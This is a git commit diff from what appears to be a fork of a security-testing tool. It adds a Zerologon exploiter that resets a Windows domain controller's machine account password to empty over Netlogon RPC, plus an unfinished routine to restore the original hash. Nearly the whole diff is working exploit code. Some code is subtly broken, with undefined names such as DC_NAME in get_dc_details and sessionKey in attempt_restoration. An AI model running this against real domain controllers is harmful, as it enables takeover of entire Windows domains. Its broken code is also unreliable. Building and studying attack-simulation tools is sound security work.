forked from p15670423/monkey
Add restore_password()
This commit is contained in:
parent
9468de471d
commit
44e15bd2a0
|
@ -7,43 +7,65 @@ import logging
|
|||
|
||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket import crypto
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
import impacket
|
||||
|
||||
from binascii import hexlify, unhexlify
|
||||
from Cryptodome.Cipher import DES, AES, ARC4
|
||||
|
||||
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('PrimaryName', nrpc.PLOGONSRV_HANDLE),
|
||||
('AccountName', nrpc.WSTR),
|
||||
('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
||||
('ComputerName', nrpc.WSTR),
|
||||
('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||
('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
||||
)
|
||||
|
||||
|
||||
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||
structure = (
|
||||
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
|
||||
('ErrorCode', nrpc.NTSTATUS),
|
||||
)
|
||||
|
||||
|
||||
class ZerologonExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
_EXPLOITED_SERVICE = 'Netlogon'
|
||||
MAX_ATTEMPTS = 2000
|
||||
|
||||
def __init__(self, host):
|
||||
super().__init__(host)
|
||||
self.vulnerable_port = None
|
||||
self.zerologon_finger = ZerologonFinger()
|
||||
|
||||
def _exploit_host(self):
|
||||
MAX_ATTEMPTS = 2000
|
||||
zerologon_finger = ZerologonFinger()
|
||||
DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
|
||||
|
||||
DC_IP = self.host.ip
|
||||
DC_NAME = zerologon_finger.get_dc_name(DC_IP)
|
||||
DC_HANDLE = '\\\\' + DC_NAME
|
||||
|
||||
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
|
||||
LOG.info("Target vulnerable, changing account password to empty string")
|
||||
if self.is_exploitable():
|
||||
LOG.info("Target vulnerable, changing account password to empty string.")
|
||||
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
rpc_con = self.connect_to_dc(DC_IP)
|
||||
|
||||
# Start exploiting attempts.
|
||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||
result = None
|
||||
for _ in range(0, MAX_ATTEMPTS):
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
||||
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
|
@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter):
|
|||
else:
|
||||
LOG.info("Non-zero return code, something went wrong.")
|
||||
|
||||
# how do i execute monkey on the exploited machine?
|
||||
# restore password
|
||||
## how do i execute monkey on the exploited machine?
|
||||
## restore password
|
||||
|
||||
else:
|
||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||
|
||||
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
|
||||
def get_dc_details(self):
|
||||
dc_ip = self.host.ip
|
||||
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
|
||||
dc_handle = '\\\\' + DC_NAME
|
||||
return dc_ip, dc_name, dc_handle
|
||||
|
||||
def is_exploitable(self):
|
||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||
|
||||
def connect_to_dc(self, DC_IP):
|
||||
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
return rpc_con
|
||||
|
||||
def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME):
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
request['PrimaryName'] = DC_HANDLE + '\x00'
|
||||
request['AccountName'] = TARGET_COMPUTER + '$\x00'
|
||||
request['AccountName'] = DC_NAME + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = b'\x00' * 8
|
||||
authenticator['Timestamp'] = 0
|
||||
request['Authenticator'] = authenticator
|
||||
request['ComputerName'] = TARGET_COMPUTER + '\x00'
|
||||
request['ComputerName'] = DC_NAME + '\x00'
|
||||
request['ClearNewPassword'] = b'\x00' * 516
|
||||
return rpc_con.request(request)
|
||||
|
||||
def restore_password(self):
|
||||
# get nthash using secretsdump and then restore password
|
||||
pass
|
||||
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||
## get nthash using secretsdump and then restore password
|
||||
|
||||
# Keep authenticating until successful.
|
||||
LOG.info("Restoring original password...")
|
||||
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||
if rpc_con is not None:
|
||||
break
|
||||
|
||||
if rpc_con:
|
||||
LOG.info("DC machine account password should be restored to its original value.")
|
||||
else:
|
||||
LOG.info("Failed to restore password.")
|
||||
|
||||
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||
# Connect to the DC's Netlogon service.
|
||||
rpc_con = self.connect_to_dc(DC_IP)
|
||||
|
||||
plaintext = b'\x00'*8
|
||||
ciphertext = b'\x00'*8
|
||||
flags = 0x212fffff
|
||||
|
||||
# Send challenge and authentication request.
|
||||
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00',
|
||||
DC_NAME + '\x00', plaintext)
|
||||
server_challenge = server_challenge_response['ServerChallenge']
|
||||
|
||||
try:
|
||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||
rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00',
|
||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||
DC_NAME + '\x00', ciphertext, flags
|
||||
)
|
||||
|
||||
# It worked!
|
||||
assert server_auth['ErrorCode'] == 0
|
||||
server_auth.dump()
|
||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
||||
|
||||
try:
|
||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||
authenticator['Credential'] = ciphertext
|
||||
authenticator['Timestamp'] = b"\x00" * 4
|
||||
|
||||
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
||||
|
||||
request = NetrServerPasswordSet()
|
||||
request['PrimaryName'] = NULL
|
||||
request['AccountName'] = DC_NAME + '$\x00'
|
||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||
request['ComputerName'] = DC_NAME + '\x00'
|
||||
request["Authenticator"] = authenticator
|
||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
|
||||
request["UasNewPassword"] = pwd_data
|
||||
resp = rpc_con.request(request)
|
||||
resp.dump()
|
||||
|
||||
except Exception as ex:
|
||||
LOG.info(f"Unexpected error: {ex}")
|
||||
|
||||
return rpc_con
|
||||
|
||||
except nrpc.DCERPCSessionError as ex:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
||||
if ex.get_error_code() == 0xc0000022:
|
||||
return None
|
||||
else:
|
||||
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
|
||||
|
||||
except BaseException as ex:
|
||||
LOG.info(f"Unexpected error: {ex}")
|
||||
|
|
Loading…
Reference in New Issue